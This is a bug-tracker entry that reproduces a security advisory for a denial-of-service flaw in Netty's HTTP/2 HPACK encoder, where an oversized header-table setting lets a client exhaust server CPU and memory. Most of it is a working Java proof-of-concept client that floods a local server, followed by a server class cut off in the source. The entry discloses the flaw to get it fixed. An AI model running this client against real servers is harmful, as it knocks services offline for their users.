Bug 2536895 (CVE-2026-93492)

HTTP/2 HpackEncoder DoS with large table size

A public GitHub Security Advisory (GHSA-8352-h356-c9qh) describes the following issue:

### Summary
A client can send SETTINGS with a very large MAX_HEADER_TABLE_SIZE to cause HpackEncoder to save all unique _send_ headers. Those can accumulate over time and cause a CPU or memory DoS.

### Details
If a client sends SETTINGS with a very large MAX_HEADER_TABLE_SIZE, it is propagated directly through `DefaultHttp2HeadersEncoder.maxHeaderTableSize()` to `HpackEncoder.setMaxHeaderTableSize()`. `HpackEncoder` then uses the received value directly and will happily fill the table with every unique header sent by the server, eventually causing excessive O(n²) chain scanning in `HpackeEncoder.getEntryInsensitive()`.

This was found when trying to produce a PoC for a memory DoS caused by retaining all unique header fields. I was expecting to get ~2 GiB of memory usage, but memory use was significantly less.  I tracked that down to slowing QPS and then to the CPU DoS. The fix for both is the same: cap the table size, maybe as a function of `arraySizeHint`.

### PoC
```java
import io.netty.bootstrap.Bootstrap;
import io.netty.channel.Channel;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.SimpleChannelInboundHandler;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.http2.DefaultHttp2Headers;
import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame;
import io.netty.handler.codec.http2.Http2FrameCodecBuilder;
import io.netty.handler.codec.http2.Http2Headers;
import io.netty.handler.codec.http2.Http2HeadersFrame;
import io.netty.handler.codec.http2.Http2MultiplexHandler;
import io.netty.handler.codec.http2.Http2Settings;
import io.netty.handler.codec.http2.Http2StreamChannel;
import io.netty.handler.codec.http2.Http2StreamChannelBootstrap;
import io.netty.handler.codec.http2.Http2StreamFrame;
import io.netty.util.concurrent.Future;

import java.util.concurrent.CompletableFuture;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;

public final class Http2Client {

  static final String HOST = "127.0.0.1";
  static final int PORT = 8080;

  public static void main(String[] args) throws Exception {
    // Configure client-sent HTTP/2 SETTINGS
    Http2Settings settings = Http2Settings.defaultSettings();
    settings.headerTableSize(Integer.MAX_VALUE);

    EventLoopGroup group = new NioEventLoopGroup(1);
    try {
      Bootstrap b = new Bootstrap()
          .group(group)
          .channel(NioSocketChannel.class)
          .remoteAddress(HOST, PORT)
          .handler(new ChannelInitializer<SocketChannel>() {
            @Override
            protected void initChannel(SocketChannel ch) {
              ch.pipeline().addLast(
                  Http2FrameCodecBuilder.forClient()
                  .initialSettings(settings)
                  .build(),
                  new Http2MultiplexHandler(new ChannelInboundHandlerAdapter()));
            }
          });

      Channel ch = b.connect().sync().channel();
      AtomicInteger count = new AtomicInteger();

      for (int i = 0; i < 10; i++) {
        startRpcs(ch, count);
      }

      while (true) {
        Thread.sleep(1000);
        System.out.println("RPCs completed: " + count.getAndSet(0));
      }
    } finally {
      group.shutdownGracefully();
    }
  }

  private static void startRpcs(Channel ch, AtomicInteger count) throws Exception {
    new Http2StreamChannelBootstrap(ch)
        .handler(new SimpleChannelInboundHandler<Http2StreamFrame>() {
          @Override
          protected void channelRead0(ChannelHandlerContext ctx, Http2StreamFrame msg) throws Exception {
            if (!(msg instanceof Http2HeadersFrame)) {
              System.out.println("Unexpected response frame: " + msg);
              return;
            }
            if (!((Http2HeadersFrame) msg).isEndStream()) {
              System.out.println("Surprising header response: " + msg);
              return;
            }
            count.incrementAndGet();
            startRpcs(ch, count);
          }
        })
        .open()
        .addListener((Future<Http2StreamChannel> f) -> {
          Http2Headers headers = new DefaultHttp2Headers()
              .method("GET")
              .path("/")
              .scheme("http");
          f.getNow().writeAndFlush(new DefaultHttp2HeadersFrame(headers, true));
        });
  }
}
```
```java
import io.netty.bootstrap.ServerBootstrap;
import io.netty.buffer.ByteBufUtil;
import io.netty.channel.Channel;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.SimpleChannelInboundHandler;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import io.netty.handler.codec.http2.DefaultHttp2Headers;
import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame;
import io.netty.handler.codec.http2.Http2DataFrame;
import io.netty.handler.codec.http2.Http2FrameCodecBuilder;
import io.netty.handler.codec.http2.Http2Headers;
import io.netty.handler.codec.http2.Http2HeadersFrame;
import io.netty.handler.codec.http2.Http2MultiplexHandler;
import io.netty.handler.codec.http2.Http2StreamChannel;
import io.netty.handler.codec.http2.Http2StreamFrame;

import java.util.concurrent.ThreadLocalRandom;

public final class Http2Server {
  static final int PORT = 8080;

  public static void main(String[] args) throws Exception {
    EventLoopGroup group = new NioEventLoopGroup(1);
    try {
      ServerBootstrap b = new ServerBootstrap()
          .group(group)
          .channel(NioServerS

[truncated]

Affected:
- maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <=4.2.17.Final; fixed unknown
- maven:io.netty:netty-codec-http2 affected <= 4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-8352-h356-c9qh